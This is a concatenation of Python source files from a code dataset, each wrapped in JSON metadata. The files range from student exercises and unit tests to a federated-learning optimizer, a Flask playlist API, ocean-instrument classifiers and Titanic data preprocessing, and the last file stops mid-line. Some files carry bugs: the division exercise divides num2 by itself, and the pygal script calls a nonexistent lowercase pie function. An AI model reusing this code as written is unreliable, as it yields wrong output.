'))\r\n\r\n # Разделить num1 на num2 и показать результат.\r\n result = num2 / num2\r\n print(num1, 'деленное на', num2, 'равняется', result)\r\n\r\n\r\n# Вызвать главную функцию.\r\nmain()\r\n","sub_path":"Chapter 6 (Files)/(6.20) division.py","file_name":"(6.20) division.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"51289316","text":"__author__ = 'ChrisPOConnell'\n'''\nAssignment 4\ntest1.py\nThis file is not used as part of the running code, it's just for testing.\n\nIntent: This is an exact cut and paste from StackOverflow used to generate\n one pass and one fail for a unittest. I used to his to see if a green \n pass bar would be generated in either PyCharm or PyDev. In neither\n environment does a green bar appear.\n'''\n\nfrom unittest.case import TestCase\nimport unittest\nfrom io import StringIO\nclass MyTestCase(TestCase):\n def testTrue(self):\n '''\n Always true\n '''\n assert True\n\n def testFail(self):\n '''\n Always fails\n '''\n assert False\n\nfrom pprint import pprint\nstream = StringIO()\nrunner = unittest.TextTestRunner(stream=stream)\nresult = runner.run(unittest.makeSuite(MyTestCase))\nprint('Tests run ' + str(result.testsRun))\nprint('Errors ' + str(result.errors))\npprint(result.failures)\nstream.seek(0)\nprint('Test output\\n'+ stream.read())","sub_path":"Assignment4/test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":1003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"516478165","text":"import numpy as np\n\n\nclass sudoku:\n\n domain = set(range(1,10))\n \n def __init__(self):\n self.sudoku = np.zeros((9,9), dtype=int)\n\n def add_symbol(self,i,j,sym):\n if not sym in self.domain:\n raise InvalidSymbolError()\n self.sudoku[i,j] = sym\n\n def get_symbol(self,i,j):\n return self.sudoku[i,j] \n\n def __str__(self):\n\n sep = '+-------+-------+-------+\\n'\n out = ''\n for i in range(0,9):\n\n if i%3 == 0:\n out = out + sep\n \n for j in range(0,9):\n if j%3 == 0:\n out = out + '| '\n\n if int(self.get_symbol(i,j)) == 0:\n sym = ' '\n else:\n sym = str(self.get_symbol(i,j))\n out = out + sym + ' ' \n\n out = out + '|\\n'\n\n out = out + sep\n\n return out\n\nclass InvalidSymbolError(Exception):\n pass\n\nif __name__ == '__main__':\n\n test = sudoku()\n\n test.add_symbol(0,7,9)\n test.add_symbol(6,3,7)\n test.add_symbol(3,3,2)\n test.add_symbol(1,8,1)\n\n print(test)","sub_path":"src/sudoku.py","file_name":"sudoku.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"163954792","text":"\"\"\"\nA federated learning client using SCAFFOLD.\n\nReference:\n\nKarimireddy et al., \"SCAFFOLD: Stochastic Controlled Averaging for Federated Learning,\"\nin Proceedings of the 37th International Conference on Machine Learning (ICML), 2020.\n\nhttps://arxiv.org/pdf/1910.06378.pdf\n\"\"\"\nimport torch\nfrom torch import optim\n\nimport scaffold_optimizer\n\n\nclass ScaffoldOptimizer(optim.SGD):\n \"\"\"A customized optimizer for SCAFFOLD.\"\"\"\n def __init__(self,\n params,\n lr,\n momentum=0,\n dampening=0,\n weight_decay=0,\n nesterov=False):\n super().__init__(params, lr, momentum, dampening, weight_decay,\n nesterov)\n self.new_client_update_direction = None\n self.server_update_direction = None\n self.client_update_direction = None\n self.client_id = None\n\n self.update_flag = True\n\n def step(self, closure=None):\n \"\"\"Performs a single optimization step.\n\n Arguments:\n closure (callable, optional): A closure that reevaluates the model\n and returns the loss.\n \"\"\"\n loss = None\n if closure is not None:\n loss = closure()\n\n for group in self.param_groups:\n weight_decay = group['weight_decay']\n momentum = group['momentum']\n dampening = group['dampening']\n nesterov = group['nesterov']\n\n if self.update_flag is True:\n self.new_client_update_direction = []\n\n # Initialize server update direction and client update direction\n if self.server_update_direction is None:\n self.client_update_direction = [0] * len(group['params'])\n self.server_update_direction = [0] * len(group['params'])\n\n for p, client_update_direction, server_update_direction in zip(\n group['params'], self.client_update_direction,\n self.server_update_direction):\n if p.grad is None:\n continue\n d_p = p.grad.data\n param_state = self.state[p]\n\n if weight_decay != 0:\n d_p.add_(p.data, alpha=weight_decay)\n\n if momentum != 0:\n if 'momentum_buffer' not in param_state:\n buf = param_state['momentum_buffer'] = torch.clone(\n d_p).detach()\n else:\n buf = param_state['momentum_buffer']\n buf.mul_(momentum).add_(d_p, alpha=1 - dampening)\n if nesterov:\n d_p = d_p.add(momentum, buf)\n else:\n d_p = buf\n\n # Apply variance reduction\n d_p.add_(server_update_direction)\n d_p.sub_(client_update_direction)\n\n # Update weight\n p.data.add_(d_p, alpha=-group['lr'])\n\n # Obtain the latest client update direction\n if self.update_flag is True:\n self.new_client_update_direction.append(d_p)\n\n if self.update_flag is True:\n fn = f\"new_client_update_direction_{self.client_id}.pth\"\n torch.save(self.new_client_update_direction, fn)\n self.update_flag = False\n\n return loss\n","sub_path":"examples/scaffold/scaffold_optimizer.py","file_name":"scaffold_optimizer.py","file_ext":"py","file_size_in_byte":3411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"453777828","text":"\"\"\"\nTest de concurrence avec futures.\n\nPlusieurs requêtes sont envoyées de manière parallèle à l'OS\net les résultats traités au fur et à mesure de leur retour.\n\nAuthor: Dalker (daniel.kessler@dalker.org)\nDate: 2021.03.20\n\"\"\"\n\nimport bisect\nimport sys\nimport time\nimport concurrent.futures\n\n\nWORDS = (\"clause\", \"concurrent\", \"expression\", \"future\", \"grammar\", \"language\",\n \"list\", \"semantics\", \"sentence\", \"syntax\", \"type\", \"word\")\n\n\ndef local_define(word):\n \"\"\"Trouver la définition la plus courante d'un mot dans un fichier.\"\"\"\n with open(f\"defs/{word}.txt\") as thefile:\n definition = thefile.readline()\n time.sleep(0.001)\n return (word, definition)\n\n\ndef sequential_defs():\n \"\"\"Demander des définitions de manière séquentielle, dans l'ordre.\"\"\"\n defs = []\n for word in WORDS:\n defs.append(local_define(word))\n return defs\n\n\ndef concurrent_defs_endsort():\n \"\"\"\n Demander des définitions de manière concurrente.\n\n Dans cette variante, on les remet dans l'ordre à la fin.\n \"\"\"\n with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:\n define_calls = (executor.submit(local_define, word) for word in WORDS)\n defs = []\n for future in concurrent.futures.as_completed(define_calls):\n defs.append(future.result())\n return sorted(defs)\n\n\ndef concurrent_defs_insert():\n \"\"\"\n Demander des définitions de manière concurrente.\n\n Dans cette variante, on les classe au fur et à mesure, par insertion.\n \"\"\"\n with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:\n define_calls = (executor.submit(local_define, word) for word in WORDS)\n resultats = []\n for future in concurrent.futures.as_completed(define_calls):\n res = future.result()\n bisect.insort(resultats, res)\n return resultats\n\n\ndef time_this(test, name=None):\n \"\"\"Tester la vitesse d'une fonction.\"\"\"\n start = time.time()\n res = test()\n elapsed = time.time() - start\n if name is not None:\n print(\"-=\", name, \"faite en\", elapsed, \"s =-\")\n for w, d in res:\n print(w, \":\", d)\n print()\n return elapsed\n\n\ndef comparative_test(n_tests, m_tests=1):\n \"\"\"Comparer la performance d'appels à url séquentiels vs. concurrents.\"\"\"\n if m_tests > 1:\n print(\"* {} séries de {} tests alternés de chaque sans affichage *:\"\n .format(n_tests, m_tests))\n else:\n print(f\"* {n_tests} tests alternés sans affichage *:\")\n print(\" séq. cc.end cc.ins\")\n gtot1 = gtot2 = gtot3 = 0\n for n in range(n_tests):\n tot1 = tot2 = tot3 = 0\n for _ in range(m_tests):\n tot1 += time_this(sequential_defs)*1000\n tot2 += time_this(concurrent_defs_endsort)*1000\n tot3 += time_this(concurrent_defs_insert)*1000\n gtot1 += tot1\n gtot2 += tot2\n gtot3 += tot3\n print(\" Temps {:2d}: {:.4f} {:.4f} {:.4f}\".format(n+1,\n tot1/m_tests,\n tot2/m_tests,\n tot3/m_tests))\n print(\"Temps moyens: {:.4f} {:.4f} {:.4f}\".format(gtot1/(n_tests*m_tests),\n gtot2/(n_tests*m_tests),\n gtot3/(n_tests*m_tests)))\n\n\ndef print_usage():\n \"\"\"Afficher les options en ligne de commande du programme.\"\"\"\n print(sys.argv[0], \":\",\n \"demander des définitions à un dictionnaire local\")\n print(\"OPTIONS\")\n print(\" seq : méthode séquentielle\")\n print(\" end : méthode concurrente avec tri à la fin de tous les threads\")\n print(\" ins : méthode concurrente avec insertion triée dès arrivée\")\n print(\" : effectuer N tests comparatifs de durée des trois méthodes\")\n print(\" : effectuer N séries de M tests\")\n\n\nif __name__ == \"__main__\":\n try:\n choice = sys.argv[1]\n except IndexError:\n print_usage()\n exit()\n if choice == 'seq':\n time_this(sequential_defs, \"Méthode séquentielle\")\n elif choice == 'end':\n time_this(concurrent_defs_endsort,\n \"Méthode concurrente avec sort final\")\n elif choice == 'ins':\n time_this(concurrent_defs_insert, \"Méthode concurrente avec insertion\")\n else:\n try:\n n = int(choice)\n except ValueError:\n print_usage()\n else:\n comparative_test(n)\n","sub_path":"implementation/Python/file_futures_sleep.py","file_name":"file_futures_sleep.py","file_ext":"py","file_size_in_byte":4613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"35660832","text":"import csv\nimport unittest\nimport os\nfrom os.path import isfile, join\nimport sys\nimport pandas as pd\nimport numpy as np\n\nfrom torch.utils.data import DataLoader\nfrom torch.utils.data import Dataset\n\nfrom main import MisGAN\n\nclass Args():\n def __init__(self):\n self.input = \"..\\\\data\\\\wdbc.csv\"\n self.fname = \"data/wdbc.csv\"\n self.ims = True\n self.preprocess = True\n self.evaluate = True\n self.split = False\n self.model = \"wdbc.csv_train\"\n\n\nclass TestImputationMethods(unittest.TestCase):\n def setUp(self):\n self.args = Args()\n self.imputation_method = MisGAN(self.args) # The implementation of your Imputation method\n self.input_file = self.imputation_method.args.input\n self.verificationErrors = [] # append exceptions for try-except errors\n\n def test_input_file_format(self):\n # test if input file agrees with expected format\n with open(self.input_file, \"r\") as fin:\n lines = csv.reader(fin)\n total_lines = 0\n for line in lines:\n total_lines += 1\n\n def test_impute(self):\n # Test whether the final imputed data have the same shape with input data\n with open(self.input_file, \"r\") as fin:\n lines = csv.reader(fin)\n total_input_lines = 0\n for l in lines:\n input_headers = len(l)\n total_input_lines += 1\n\n preprocess_result = self.imputation_method.preprocess()\n\n if isinstance(preprocess_result, list):\n for res in preprocess_result:\n if isinstance(res, DataLoader):\n s = res.dataset.original_data.shape\n self.assertEquals(s[0], total_input_lines)\n self.assertEquals(s[1], input_headers)\n\n\n def test_evaluate(self, *args, **kwargs):\n self.assertIsInstance(self.imputation_method.evaluate(*args, **kwargs), float)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"data_cleaning/imputation/misgan/sample_test.py","file_name":"sample_test.py","file_ext":"py","file_size_in_byte":1999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"330657088","text":"import unittest\nimport os\nfrom sqlebra.sqlite import SQLiteDB as DB\nfrom sqlebra.dtype import str_ as SQLstr\nfrom sqlebra import exceptions as ex\n\nFILE = 'unittest.sqlebra.db'\n\n\nclass TestInit(unittest.TestCase):\n\n value = 'test'\n\n @classmethod\n def setUpClass(cls):\n cls.dbfile = DB(FILE, mode='w').open()\n\n def test_1_set(self):\n self.dbfile['A'] = self.value\n self.assertEqual([(0, 'A', 'str', None, None, None, None, None, self.value, None, 1, 1)],\n self.dbfile.select(where={'id': 0}))\n\n def test_2_get(self):\n self.assertIsInstance(self.dbfile['A'], SQLstr)\n\n def test_3_py(self):\n self.assertEqual(self.value, self.dbfile['A'].py)\n\n def test_4_edit(self):\n self.dbfile['A'].py = 'edit'\n self.assertEqual('edit', self.dbfile['A'].py)\n\n def test_5_delete(self):\n self.dbfile['A'].delete()\n with self.assertRaises(ex.VariableError):\n self.dbfile['A']\n\n @classmethod\n def tearDownClass(cls):\n cls.dbfile.disconnect()\n os.remove(FILE)\n\n\nif __name__ == '__main__':\n try:\n unittest.main()\n except Exception as e:\n if os.path.exists(FILE):\n os.remove(FILE)\n raise e\n","sub_path":"test_sqlebra/test_dtype/test_str.py","file_name":"test_str.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"642415512","text":"#!flask/bin/python\nfrom flask import Flask, jsonify, abort, request\nimport utils\n\napp = Flask(__name__)\n\n@app.route('/api/playlist', methods=['GET'])\ndef getPlaylist():\n playlist = request.args.get('playlist')\n if playlist == None:\n playlist = 'demo'\n ret = []\n for x in utils.getSongsByScore(playlist):\n d = {}\n d['id'] = x[0]\n d['score'] = x[1]\n d['title'], d['thumbnail'] = utils.getPreview(x[0])\n ret.append(d)\n return jsonify(ret)\n\n@app.route('/api/add', methods=['GET'])\ndef addSongToPlaylist():\n playlistName = request.args.get('playlistname')\n if playlistName == None:\n playlistName = 'demo'\n songUrl = request.args.get('songUrl')\n # print playlistName, songUrl\n utils.createNewSong(playlistName, songUrl)\n return jsonify('added ' + songUrl + ' to ' + playlistName)\n\n@app.route('/api/delete', methods=['GET'])\ndef deleteSongFromPlaylist():\n playlistName = request.args.get('playlistname')\n if playlistName == None:\n playlistName = 'demo'\n songUrl = request.args.get('songUrl')\n utils.deleteSongFromPlaylist(playlistName, songUrl)\n return jsonify('deleted ' + songUrl + ' from ' + playlistName)\n\n@app.route('/api/update', methods=['GET'])\ndef updateScore():\n playlistName = request.args.get('playlistname')\n if playlistName == None:\n playlistName = 'demo'\n songUrl = request.args.get('songUrl')\n diff = int(request.args.get('diff'))\n utils.recreateSong(playlistName, songUrl, diff)\n return jsonify('updated score of ' + songUrl + ' in ' + playlistName + ' by ' + str(diff))\n\nif __name__ == '__main__':\n app.run(debug=True)","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"164265910","text":"\"\"\"Progs to say the type of instrument.\n\nIMPORTANT NOTE: This version of inst_type.py is different from the other \nversions (e.g. those used in the classification of XBTs for correction). This \ncode has been changed slightly so that the output can be used as the output\nfrom is_xbt.pro is used when filtering out low quality XBTs in the IDL OHC code.\nThe changes are that probeCode is now output and that 0 or 99 or 999 are treated\nas missing probeCode types instead of just 0 or 99. The restrictions for OHC are\nyou shouldn't use the data if probeCode is 0 or 999 AND the year is greater than\nor equal to 1995 or the maxDepth is greater than 900.\n\n\"\"\"\n\nfrom netCDF4 import Dataset\nimport netCDF4\nimport numpy as np\n# Have removed the call to import sag_utilities as sag as it didn't seem to be \n# used.\n\ndef is_xbt(projectName,\n instRef,\n salinities,\n salinityFV,\n depths,\n depthFV):\n\n \"\"\"Say if something is an XBT and the type.\"\"\"\n maxDepth = -99\n WODCountryCode = '-99'\n WODCorrectionCode = -99\n validDepths = depths != depthFV\n if np.count_nonzero(validDepths) > 0:\n maxDepth = np.max(depths[validDepths])\n\n # Definition of types.\n codes = [[2 , -1 , 0 , 0], # Unknown\n [-1 , 101, 1 , 0], # Unknown\n [-1 , 102, 2 , 0], # Unknown\n [201, -1 , 70 , 0], # T7 Brand unknown \n [202, -1 , 40 , 0], # T4 Brand unknown \n [203, -1 , 60 , 0], # T6 Brand unknown \n [204, -1 , 50 , 0], # T5 Brand unknown \n [205, -1 , 100, 0], # T10 Brand unknown \n [206, -1 , 110, 0], # T11 Brand unknown \n [207, 41, 71 , 1], # T7 Sippican \n [207, 42, 72 , 1], # T7 Sippican \n [208, 1, 41 , 1], # T4 Sippican \n [208, 2, 42 , 1], # T4 Sippican \n [209, 31, 60 , 1], # T6 Sippican \n [209, 32, 60 , 1], # T6 Sippican \n [210, 11, 50 , 1], # T5 Sippican \n [211, 61, 100, 1], # T10 Sippican \n [212, 71, 110, 1], # T11 Sippican \n [-1 , 900, 120, 1], # T12 Sippican \n [213, 21, 130, 1], # Fast Deep Sippican \n [214, 51, 141, 1], # Deep Blue Sippican \n [214, 52, 142, 1], # Deep Blue Sippican \n [-1 , 81, 150, 1], # AXBT Sippican \n [215, 201, 41 , 2], # T4 TSK \n [215, 202, 42 , 2], # T4 TSK \n [216, 211, 60 , 2], # T6 TSK \n [216, 212, 60 , 2], # T6 TSK \n [217, 221, 71 , 2], # T7 TSK \n [217, 222, 72 , 2], # T7 TSK \n [218, -1, 0 , 0], # MDI; Academy of Sc \n [219, 231, 50 , 2], # T5 TSK \n [220, 241, 100, 2], # T10 TSK \n [221, 401, 10 , 3], # XBT-1 Sparton \n [222, 411, 30 , 3], # XBT-3 Sparton \n [223, 421, 40 , 3], # XBT-4 Sparton \n [224, 431, 50 , 3], # XBT-5 Sparton \n [225, 441, 51, 3], # XBT-5DB Sparton \n [226, 451, 60 , 3], # XBT-6 Sparton \n [227, 461, 70 , 3], # XBT-7 Sparton \n [-1 , 462, 71 , 3], # XBT-7 Sparton \n [228, 471, 72 , 3], # XBT-7DB Sparton \n [229, 481, 100, 3], # XBT-10 Sparton \n [230, 491, 200, 3], # XBT-20 Sparton \n [231, 501, 201, 3], # XBT-20DB Sparton \n [232, 251, 140, 2], # Deep Blue TSK \n [232, 252, 140, 2], # Deep Blue TSK \n [233, 261, 150, 2], # AXBT TSK \n [234, -1 , 150, 0], # AXBT Unknown \n [235, -1 , 140, 0], # Deep Blue Unknown \n [236, -1 , 130, 0], # Fast Deep Unknown \n [237, -1 , 160, 0], # SSXBT Sippican \n [238, -1 , 150, 0]] # AXBT Sparton \n codes = np.array(codes)\n\n notXBT = [np.array([-1, -1])]\n unkXBT = [np.array([0, 0])] \n\n try:\n probeCode = int(instRef[60:63])\n except ValueError:\n probeCode = ''\n\n if np.any(salinities != salinityFV):\n return notXBT + [maxDepth, WODCountryCode, WODCorrectionCode, probeCode]\n \n if projectName[0:3] == 'WOD':\n # Set the column in the table to look at.\n codeIndex = 0\n\n # Check the instrument type code and return if can go no further.\n instCode = instRef[0:60]\n instCode = instCode.lstrip()\n instCode = instCode.rstrip()\n\n # Get some other information to return to user.\n WODCorrectionCode = int(instRef[63])\n WODCountryCode = projectName[8:10]\n\n # Extract the number for the probe type.\n probeCode = int(instRef[60:63])\n\n if instCode == '':\n if projectName[5:8] == 'XBT':\n return unkXBT + [maxDepth, WODCountryCode, WODCorrectionCode, probeCode]\n else:\n return notXBT + [maxDepth, WODCountryCode, WODCorrectionCode, probeCode]\n if instCode != '2':\n return notXBT + [maxDepth, WODCountryCode, WODCorrectionCode, probeCode]\n\n elif projectName[0:5] == 'GTSPP':\n # Set the column in the table to look at.\n codeIndex = 1\n\n # Get the number for the probe type.\n probeCode = int(instRef)\n\n # Check for situations where can go no further.\n if probeCode == 0 or probeCode == 99 or probeCode == 999:\n if projectName[5:7] == 'XB':\n return unkXBT + [maxDepth, WODCountryCode, WODCorrectionCode, probeCode]\n else:\n return notXBT + [maxDepth, WODCountryCode, WODCorrectionCode, probeCode]\n else: \n return notXBT + [maxDepth, WODCountryCode, WODCorrectionCode, probeCode]\n\n matches = codes[:, codeIndex] == probeCode\n nMatches = np.count_nonzero(matches)\n if nMatches == 0:\n return notXBT + [maxDepth, WODCountryCode, WODCorrectionCode, probeCode]\n\n iMatches = np.argwhere(matches)\n iMatches = iMatches[0] # Repeated codes for WOD data.\n result = np.reshape(codes[iMatches, 2:4], 2)\n\n # Finally, follow prescription in EN3 processing to\n # pick out mislabelled T5s. These will have 5000 added\n # to their code. 840 m max depth is used as depth \n # criterion as this is as used in the EN3 processing and\n # is also max depth of T7s (Tim Boyer; personal communication).\n # Deep Blues can now go to 920 m (Tim Boyer; personal \n # communication) and so these are not tested here.\n typeCode = result[0] // 10\n notSparton = result[1] < 3\n if notSparton:\n if (typeCode == 4 or # T4 max depth = 460m\n typeCode == 6 or # T6 max depth = 460m\n typeCode == 7 or # T7 max depth = 760m\n typeCode == 10 or # T10 max depth = 200m\n typeCode == 11): # T11 max depth = 460m\n if maxDepth > 840.0:\n result[0] += 5000\n\n return [result] + [maxDepth, WODCountryCode, WODCorrectionCode, probeCode]\n\ndef is_mbt(projectName,\n instRef):\n \"\"\"Identify MBTs.\"\"\"\n notMBT = np.array([-1, -1])\n unkMBT = np.array([0, 0])\n\n codes = [[ 1, 800, 00, 00], # MBT type/make unknown.\n [101, -1, 1, 1]] # GM39 (Russia). \n codes = np.array(codes) \n\n if projectName[0:3] == 'WOD':\n codeIndex = 0\n instCode = instRef[0:60]\n instCode = instCode.lstrip()\n instCode = instCode.rstrip()\n if instCode == '':\n if projectName[5:8] == 'MBT':\n return unkMBT\n else:\n return notMBT\n elif instCode != '1':\n return notMBT\n probeCode = int(instRef[60:63]) \n elif projectName[0:5] == 'GTSPP':\n codeIndex = 1\n probeCode = int(instRef)\n if probeCode == 0 or probeCode == 999:\n if projectName[5:7] == 'MB':\n return unkMBT\n else:\n return notMBT\n else:\n return notMBT \n \n matches = codes[:, codeIndex] == probeCode\n nMatches = np.count_nonzero(matches)\n if nMatches == 0:\n return notMBT\n\n iMatches = np.argwhere(matches)\n iMatches = iMatches[0] \n result = np.reshape(codes[iMatches, 2:4], 2)\n\n return result\n\ndef test():\n file = '/data/local/hadgs/Data/EN3_v2a_NoCWT/Profiles/EN3_v2a_NoCWT_Profiles_199501.nc'\n ncid = Dataset(file)\n pn = netCDF4.chartostring(ncid.variables['PROJECT_NAME'][:])\n ir = netCDF4.chartostring(ncid.variables['INST_REFERENCE'][:])\n ps = ncid.variables['PSAL_CORRECTED'][:]\n psfv = ncid.variables['PSAL_CORRECTED']._fillvalue\n de = ncid.variables['DEPH_CORRECTED'][:]\n defv = ncid.variables['DEPH_CORRECTED']._fillvalue\n ncid.close()\n\n f = open('test.txt', 'w')\n WODCountryCode = -1\n for i in np.arange(pn.size):\n vals = is_xbt(pn[i], ir[i], ps[i, :], \n psfv, de[i, :], defv)\n f.write('%i %i %f %s %i\\n' % (vals[0][0], vals[0][1], vals[1], vals[2], vals[3]))\n vals = is_mbt(pn[i], ir[i])\n f.write('%i %i\\n' % (vals[0], vals[1]))\n\n return\n","sub_path":"simplegrid/inst_type.py","file_name":"inst_type.py","file_ext":"py","file_size_in_byte":9849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"69823891","text":"import pygal\r\n\r\n#reading labels and values from external databases\r\n'''\r\nfile = open('pygal.py','r')\r\n\r\nfor line in file.read().splitlines() :\r\n\tif line:\r\n label,value = line.split('')\r\n print(label,value)\r\nfile.close() \r\n''' \r\n\r\npiechart = pygal.pie()\r\npiechart.title = \"Placements\"\r\npiechart.add('Adobe',2)\r\npiechart.add('Microsoft',3)\r\npiechart.add('Google',1)\r\npiechart.add('TexasIn.',6)\r\npiechart.render()\r\n\r\nbar = pygal.Bar()\r\nbar.title = \"Champions probability\"\r\nbar.add('Real',3)\r\nbar.add('Bayern',5)\r\nbar.add('Barca',2)\r\nbar.add('City',4)\r\nbar.render()\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"pygal.py","file_name":"pygal.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"493503506","text":"from openpyxl import Workbook\nwb=Workbook()\n\n#方式一：默认在最后\n# wb1=wb.create_sheet('index')\n\n#方式二：根据索引的位置来添加工作表\nwb1=wb.create_sheet('index',0)\n#方式一：添加内容，用单元格的索引来添加\n# wb1['D3'] = '停车坐爱枫林晚，霜叶红于二月花'\n\n#方式二：根据单元格的位置来添加\n# wb1.cell(row=3,column=5,value='先帝创业为伴而中道崩殂，今天下三分益州疲敝')\n\n#函数\n# wb1['A1']=4\n# wb1['A2']=6\n# wb1['A3']='=sum(A1:A2)'\n\n#添加行\nl=['姓名','性别','年龄','爱好','住址','电话']\nwb1.append(l)\n\nwb1.title='user'\n\nwb.save('s15.xlsx')","sub_path":"01写.py","file_name":"01写.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"260856934","text":"import requests\r\n#study more on requests\r\nr=requests.get(\"https://financialmodelingprep.com/api/company/prince/AApl\")\r\nprint(r.text)#returns text in the website#need connectivity\r\n#learn statuscode\r\nprint(r.status_code)\r\n#to post:\r\nurlex=\"www.something.com\"\r\ndataex={\"val1\":23,\r\n \"val2\":3,\r\n \"val3\":6\r\n}\r\nr2=requests.post(url=urlex,data=dataex)","sub_path":"requestsmodule.py","file_name":"requestsmodule.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"545152154","text":"import sys\nimport time\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib\n\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.linear_model import Ridge\nfrom sklearn.linear_model import Lasso\nfrom sklearn.cross_validation import train_test_split\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.neighbors import KNeighborsRegressor\nfrom sklearn.datasets import load_breast_cancer\nfrom sklearn import datasets\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn import linear_model\nfrom functools import reduce\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.ensemble import GradientBoostingClassifier\nfrom sklearn.datasets import make_moons\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.cross_validation import cross_val_score\nfrom sklearn.preprocessing import Imputer\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.preprocessing import Normalizer\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.preprocessing import RobustScaler\nfrom sklearn.model_selection import KFold\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.svm import SVC\nfrom scipy.stats import skew\nimport seaborn as sns\nfrom scipy import stats\nfrom scipy.stats import norm\nfrom sklearn.preprocessing import StandardScaler\n\ndef convert_object(df):\n obj_df = df.select_dtypes(include=['object']).copy()\n for col_name in obj_df.columns:\n df[col_name] = df[col_name].fillna('NA')\n\ndef convert_int64(df):\n int64_df = df.select_dtypes(include=['int64']).copy()\n for col_name in int64_df.columns:\n df[col_name] = df[col_name].fillna(0)\n\ndef convert_float64(df):\n float64_df = df.select_dtypes(include=['float64']).copy()\n for col_name in float64_df.columns:\n df[col_name] = df[col_name].fillna(0.0)\n\ndef preprocess_Fare(df): # 将0 值换成 median值\n df['Fare'].replace(0.0, np.nan, inplace=True)\n df['Fare'] = df['Fare'].fillna(df['Fare'].median())\n\ndef preprocess_Age(df):\n df['Age'] = df['Age'].fillna(df['Age'].median())\n\n\ndef preprocess_Cabin_1(df): #处理方法一\n df['Cabin'].fillna('', inplace=True)\n cabin_names_set = set()\n for val in df['Cabin']:\n cabin_names_set |= set(val.split())\n for name in cabin_names_set:\n col_name = 'Cabin' + '_' + name\n df[col_name] = df['Cabin'].apply(lambda s: 1 if name in s.split() else 0)\n del df['Cabin']\n return df\n\ndef get_cabin_alphabet_set(s):\n cabin_alphabet_set = set()\n for c in s:\n if c.isalpha():\n cabin_alphabet_set.add(c)\n return cabin_alphabet_set\n\ndef preprocess_Cabin_2(df): #处理方法二\n df['Cabin'].fillna('', inplace=True)\n cabin_names_set = set()\n cabin_alpha_set = set()\n for val in df['Cabin']:\n cabin_names_set |= set(val.split())\n cabin_alpha_set |= get_cabin_alphabet_set(val)\n for name in cabin_names_set:\n col_name = 'Cabin' + '_' + name\n df[col_name] = df['Cabin'].apply(lambda s: 1 if name in s.split() else 0)\n for alpha in cabin_alpha_set:\n col_name = 'Cabin' + '_' + alpha\n df[col_name] = df['Cabin'].apply(lambda s: 1 if alpha in s else 0)\n del df['Cabin']\n return df\n\ndef preprocess_Pclass(df):\n df['Pclass'] = df['Pclass'].apply(lambda pn: str(pn))\n\ndef convert_dataframe(df):\n preprocess_Cabin_2(df)\n preprocess_Age(df)\n preprocess_Fare(df)\n preprocess_Pclass(df)\n# convert_object(df)\n convert_int64(df)\n convert_float64(df) \n\ndef adjust_test_dataframe(test_df, train_df):\n for col_name in train_df.columns:\n if col_name not in test_df.columns:\n d_type = train_df[col_name].dtype\n if d_type==np.float64:\n test_df[col_name] = 0.\n elif d_type==np.int64:\n test_df[col_name] = 0\n elif d_type==np.object:\n test_df[col_name] = 'NA'\n \nif __name__=='__main__':\n start_time = time.time()\n\n train_data_frame = pd.read_csv('./train.csv')\n# count_nan = train_data_frame['Ticket'].notnull().sum()\n# print('count_nan is ', count_nan)\n# sys.exit(1)\n test_data_frame = pd.read_csv('./test.csv')\n \n print(train_data_frame[['Age', 'Survived']].corr())\n \n# used_cols = list(set(train_data_frame.columns) -\n# set(['PassengerId', 'Survived', 'Name', 'Ticket']))\n# cols_to_drop = ['PassengerId', 'Survived', 'Name', 'Ticket']\n cols_to_drop = ['PassengerId', 'Survived', 'Name']\n features_data_frame = train_data_frame.drop(cols_to_drop, axis=1, errors='ignore')\n target_data_frame = train_data_frame['Survived']\n test_data_frame = test_data_frame.drop(cols_to_drop, axis=1, errors='ignore')\n \n \n \n \n# concated_dataframe = pd.concat([features_data_frame, test_data_frame])\n concated_dataframe = features_data_frame.append(test_data_frame)\n convert_dataframe(concated_dataframe)\n concated_dataframe = pd.get_dummies(concated_dataframe)\n \n# concated_dataframe = concated_dataframe.select_dtypes(include=['float', 'int']).copy()\n features_data_frame = concated_dataframe[:len(features_data_frame)]\n test_data_frame = concated_dataframe[len(features_data_frame):]\n# print('features_data_frame is 